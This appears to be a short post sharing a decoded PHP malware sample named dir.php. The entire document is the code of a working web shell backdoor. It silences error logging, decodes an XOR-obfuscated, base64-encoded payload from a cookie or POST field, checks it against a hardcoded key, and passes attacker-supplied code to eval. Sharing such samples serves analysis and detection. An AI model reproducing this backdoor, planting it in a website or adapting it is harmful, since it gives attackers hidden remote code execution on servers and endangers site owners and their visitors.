found malware, decoded

dir.php

<?php

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

$foo = NULL;
$bar = NULL;

$GLOBALS['hash'] = 'b4f33d7b-bf67-41f4-9464-f8a27511cada';

global $hash;

function func1($a, $b)
{
    $out = "";

    for ($i=0; $i<strlen($a);)
    {
        for ($j=0; $j<strlen($b) && $i<strlen($a); $j++, $i++)
        {
            $out .= chr(ord($a[$i]) ^ ord($b[$j]));
        }
    }

    return $out;
}

function func2($a, $b)
{
    global $hash;

    return func1( func1($a, $hash), $b );
}

foreach( $_COOKIE as $key => $val )
{
    $foo = $val;
    $bar = $key;
}

if( ! $foo )
{
    foreach ($_POST as $key => $val)
    {
        $foo = $val;
        $bar = $key;
    }
}

$foo = @unserialize(func2(base64_decode($foo), $bar));

if( isset($foo['ak']) && $hash == $foo['ak'] )
{
    if( $foo['a'] == 'i' )
    {
        $out = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );

        echo @serialize($out);
    }
    elseif( $foo['a'] == 'e' )
    {
        eval($foo['d']);
    }

    exit();
}